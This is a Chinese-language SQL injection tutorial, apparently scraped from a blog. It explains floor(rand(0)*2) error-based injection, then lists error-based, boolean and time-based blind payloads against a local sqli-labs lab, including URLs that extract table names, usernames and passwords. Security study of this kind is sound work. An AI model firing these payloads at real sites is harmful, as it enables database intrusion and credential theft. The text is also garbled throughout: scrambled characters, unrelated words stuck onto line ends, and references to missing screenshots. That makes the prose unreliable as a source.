1.1 sql注入分類與詳解

1.基於報錯的 SQL 盲注------構造 payload 讓信息經過錯誤提示回顯出來
   

這裏來說一下報錯注入的原理(floor型爆錯注入):
0x01:報錯過程:
1.rand()用於產生一個0~1的隨機數
2.floor()向下取整
 
3.rand()函數生成0~1的任意數字,使用floor函數向下取整,值是固定的0,
若是是rand()*2,向下取整後爲0或1
 4.concat()將符合條件的同一列中的不一樣行數據進行拼接,0x3a是":"的16進制

5.將以前的rand()函數和floor函數結合起來html

 

6.查詢出來的名字太長,咱們來起個別名mysql

7.咱們再一次查詢,information_schema.tables有多少個表格,會顯示多少列正則表達式

 

 

8.group by依據咱們想要的規矩對結果進行分組sql

9.count()統計元素的個數數據庫

10.咱們多重複幾回數組

 

0x02:rand()和rand(0)服務器

1.根據剛纔的運行結果,發現不加隨機因子,執行2次就會報錯,咱們加上隨機因子函數

看一下結果:性能

發現每一次都報錯,是否是說明報錯語句有了floor(rand(0)*2)以及其餘條件就必定報錯,測試

驗證一下,先建個表test,先只增長一條記錄:

而後咱們執行報錯語句:

屢次執行均沒有發現報錯

咱們新增一條記錄:

咱們繼續執行報錯語句:

屢次執行仍是沒有發現報錯

咱們再新增一條記錄:

 

咱們測試一下報錯語句:

 成功報錯了

由此證實floor(rand(0)*2)的報錯是有條件的,記錄數必須大於等於3條,3條以上一定報錯

 

0x03 肯定性與不肯定性

根據上面的驗證,咱們發現:

floor(rand()*2):二條記錄隨機出錯

floor(rand(0)*2):三條記錄以上必定報錯

由此能夠猜測,floor(rand()*2)是比較隨機的,不具有肯定性因素,而floor(rand(0)*2)具有某方面的肯定性

floor(rand(0)*2) :報錯的原理偏偏是因爲他的肯定性

咱們分別執行觀察:

floor(rand()*2):

發現連續三次查詢,沒有一點規律

floor(rand(0)*2) :

發現連續三次查詢都是有規律的,並且是固定的,這就是上面說的因爲肯定性才致使的爆錯

 

0x04 count與group by的虛擬表

咱們先看下來查詢結果:

能夠看出test5的記錄有3條

與count(*)的結果相符合,若是mysql遇到了select count(*) from test group by name;

這種語句,會先創建一個虛擬表:

當開始查詢數據時,從數據庫中取出數據,看在虛擬表中是否有一樣的記錄,
若是有,就在count(*)字段+1,若是沒有就直接插入新記錄:

可這怎麼引發報錯?

 

0x05 floor(rand(0)*2)爆錯

其實官方mysql給過提示,就是查詢若是使用rand()的話,該值會被計算屢次,也就是在使用group by 的時候,floor(rand(0)*2)會被執行一次,若是虛擬表中不存在記錄,把數據插入虛擬表中時會再被執行一次。在0x03中咱們發現floor(rand(0)*2)的值具備肯定性,爲01101100111011,報錯其實是floor(rand(0)*2)被屢次計算所致使,具體看一下select count(*) from test group by floor(rand(0)*2);

1.查詢前會創建虛擬表

2.取第一條記錄,執行floor(rand(0)*2),發現結果爲0(第一次計算),查詢虛擬表,發現0的鍵值不存在,則floor(rand(0)*2)會被再計算一遍,結果爲1(第二次計算),插入虛擬表,這時第一條記錄查詢完畢:

 

 3.查詢第二條記錄,再次計算floor(rand(0)*2),發現結果爲1(第三次計算),查詢虛擬表,發現1的鍵值存在(上圖),因此floor(rand(0)*2)不會被計算第二次,直接count(*)+1,第二條記錄查詢完畢:

4.查詢第三條記錄,再次計算floor(rand(0)*2),發現結果爲0(第四次計算),查詢虛擬表,發現0的鍵值不存在,則虛擬表嘗試插入一條新的數據,在插入數據時floor(rand(0)*2)被再次計算,結果爲1(第五次計算),然而1這個主鍵已經存在於虛擬表中,而新計算的值也爲1(應爲主鍵鍵值必須惟一),因此插入時直接報錯了。

5.整個查詢過程floor(rand(0)*2)被計算了5次,查詢了3次紀錄,這就是爲何數據表中須要3條數據,這也就是使用該語句會報錯的緣由

 

0x06 flood(rand()*2)爆錯

由0x01,0x02咱們發現flood(rand()*2),具備隨機性,

最重要的是前面幾條記錄查詢後不能讓虛擬表存在0,1鍵值,若是存在了,那不管多少條記錄都沒法報錯,應爲floor(rand()*2)不會再被計算做爲虛擬表的鍵值,這也就是爲何不加隨機因子的時候會報錯,有時候不報錯:

這樣的話,就算查詢多少條記錄,都不會再次被計算,只是簡單的count(*)+1,因此不會報錯

好比floor(rand(1)*2):

前兩條記錄查詢過以後,虛擬表中已經存在0,1的鍵值了,因此後面只會在count(*)上面加,後面不會再爆錯

這就是floor型報錯注入的原理與過程

 --------------------------------------------------------------------------------

          information_schema這張數據表保存了MySQL服務器全部數據庫的信息。如數據庫名,
數據庫的表,表欄的數據類型與訪問權限等。再簡單點,這臺MySQL服務器上,到底有哪些數
據庫、各個數據庫有哪些表,每張表的字段類型是什麼,各個數據庫要什麼權限才能訪問,等
等信息都保存在information_schema表裏面。
 
爆出數據庫中的全部數據庫名:
select schema_name from information_schema.schemata;

爆出數據庫中全部表名:

select table_name from information_schema.tables;
 
爆出數據庫中的列名:
select column_name from information_schema.columns where table_name='wp_users';
 
 爆出字段具體的值:
select table_name,table_schema from information_schema.tables group by table_schema;
select group_concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name;
0x3a是 :的16進制
-————------
| name        |
---------------       
|::security::0|
---------------
或者
-————------
| name        |
---------------       
|::security::1|
---------------
 
concat()  : 鏈接兩個或多個數組
 
select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;
-------————-----------------
|                   |                    |
| count(*)     |     name      |
--------------------------------
|                   |                   |
|     45          |::security::0  |
|                   |                    |
|     41          |::security::1  |
--------------------------------
可是刷新幾回發現了一個錯誤:
ERROR 1062(23000):Duplicate entry'::security::1' for key 'group_key';

 可是這個錯誤卻爆出了當前數據庫名,這對咱們SQL注入是有用的,同理,咱們能夠換成不一樣的函數來獲取信息

select count(*),concat(0x3a,0x3a,version(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;
刷新多遍,發現這個錯誤果真能夠爆出數據庫的版本信息
這樣的話,咱們能夠嘗試爆表
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name;
屢次刷新
居然真的爆出了表的名字,咱們還能夠經過改變limit 0,1 來獲取更多地表名
這裏順便補充一下limit 0,1 的用法  :
select * from table limit m,n
其中m是指記錄開始的index,從0開始,表示第一條記錄,n是指從第m+1條開始,取n條。
 
limit是mysql的語法
select * from table limit m,n
其中m是指記錄開始的index, 從0開始,表示第一條記錄
n是指從第m+1條開始,取n條。
select * from tablename limit 2,4
即取出第3條至第6條,4條記
同理咱們換成比較麻煩的來爆出表的名字
 
http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%2
http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
咱們能夠找到username,password字段
http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
能夠爆出用戶名
http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
能夠爆出用戶名對應的用戶密碼
其餘方法
1、經過floor報錯,注入語句以下:   爆數據庫: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 爆表: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 爆字段: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 爆用戶名: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select username from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 爆密碼: http://127.0.0.1/sqlilabs/Less-5/?id=-1' and (select 1 from (select count(*),concat(0x3a,0x3a,(select password from users limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b)%23
 
 
2、經過ExtractValue報錯,注入語句以下: 爆數據庫: and extractvalue(1, concat(0x5c, (select database()),0x5c)); 爆表: and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5c)); 爆字段: and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns where table_name='users' limit 0,1),0x5c)); 爆用戶: and extractvalue(1, concat(0x5c, (select username from users limit 0,1),0x5c)); 爆密碼: and extractvalue(1, concat(0x5c, (select password from users limit 0,1),0x5c)); 3、經過UpdateXml報錯,注入語句以下: 爆數據庫: and 1=(updatexml(1,concat(0x3a,(select database()),0x3a),1)) 爆表: and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a),1)) 爆字段: and 1=(updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a),1)) 爆用戶: and 1=(updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)) 爆密碼: and 1=(updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)) 4.經過geometrycollection()報錯,注入語句以下: select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.經過multipoint()報錯,注入語句以下: select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.經過polygon()報錯,注入語句以下: select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.經過multipolygon()報錯,注入語句以下: select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.經過linestring()報錯,注入語句以下: select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.經過multilinestring()報錯,注入語句以下: select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.經過exp()報錯,注入語句以下: select * from test where id=1 and exp(~(select * from(select user())a));


2:基於布爾 SQL 盲注----------構造邏輯判斷
 
 1:基於布爾 SQL 盲注----------構造邏輯判斷
 
left(database(),1)>’s’ //left()函數
Explain: database()顯示數據庫名稱,left(a,b)從左側截取 a 的前 b 位
上面語句也就是判斷數據庫的第一位的ascill的值是否大於8,若是是頁面就返回正常
用法:http://127.0.0.1/sqlilabs/Less-7/?id=1' and left(database())>=8%23
 
ascii(substr((select table_name information_schema.tables where tables_schema =database() limit 0,1),1,1))=101 --+
//substr()函數,ascii()函數
Explain:substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉換 爲 ascii 值
 
ascii(substr((select database()),1,1))=98

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
//ORD()函數,MID()函數
Explain:mid(a,b,c)從位置 b 開始,截取 a 字符串的 c 位       Ord()函數同 ascii(),將字符轉爲 ascii 值
 
 
▲regexp 正則注入
用法介紹:
select user() regexp '^[a-z]';
Explain:正則表達式的用法,user()結果爲 root,regexp 爲匹配 root 的正則表達式。
第二位能夠用 
select user() regexp '^ro'
來進行。
 
示例介紹: 
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));

select * from users where id=1 and 1=(user() regexp'^ri');
經過 if 語句的條件判斷,返回一些條件句,好比 if 等構造一個判斷。根據返回結果是否等 於 0 或者 1 進行判斷。 
 
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
這裏利用 select 構造了一個判斷語句。咱們只須要更換 regexp 表達式便可
 
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
 
如何知道匹配結束了?這裏大部分根據通常的命名方式(經驗)就能夠判斷。可是如何你在 沒法判斷的狀況下,能夠用
table_name regexp '^username$
'來進行判斷。^是從開頭進行 匹配,$是從結尾開始判斷更多的語法能夠參考 mysql 使用手冊進行了解
 

 
3:基於時間的 SQL 盲注----------延時注入
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
//if 判斷語句,條件爲假, 執行 sleep
Ps:遇到如下這種利用 sleep()延時注入語句
select sleep(find_in_set(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8, 9,.'));
該語句意思是在 0-9 之間找版本號的第一位。可是在咱們實際滲透過程當中,這種用法是不可 取的,由於時間會有網速等其餘因素的影響,因此會影響結果的判斷。
 
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;
//BENCHMARK(count,expr)用於測試函數的性能,參數一爲次數,二爲要執行的表達 式。可讓函數執行若干次,返回結果比平時要長,經過時間長短的變化,判斷語句是否執 行成功。這是一種邊信道攻擊,在運行過程當中佔用大量的 cpu 資源。推薦使用 sleep()
函數進行注入。
 
猜想數據庫:
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
說明第一位是 s (ascii 碼是 115)
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
說明第二位是 e (ascii 碼是 101) ....
以此類推,咱們知道了數據庫名字是 security
猜想 security 的數據表:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
 猜想第一個數據表的第一位是 e,...
依次類推,獲得 emails
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜想第二個數據表的第一位是 r,...
依次類推,獲得 referers ...
再以此類推,咱們能夠獲得全部的數據表 emails,referers,uagents,users
 
猜想 users 表的列:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜想 users 表的第一個列的第一個字符是 i,
以此類推,咱們獲得列名是 id,username,password
 
 ````````````````
猜想 username 的值:
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
猜想 username 的第一行的第一位 以此類推,咱們獲得數據庫 username,password 的全部內容
 
以上的過程就是咱們利用 sleep()函數注入的整個過程,固然了能夠離開 BENCHMARK()函數進 行注入,這裏能夠自行進行測試。咱們這裏就不進行演示了
相關文章
相關標籤/搜索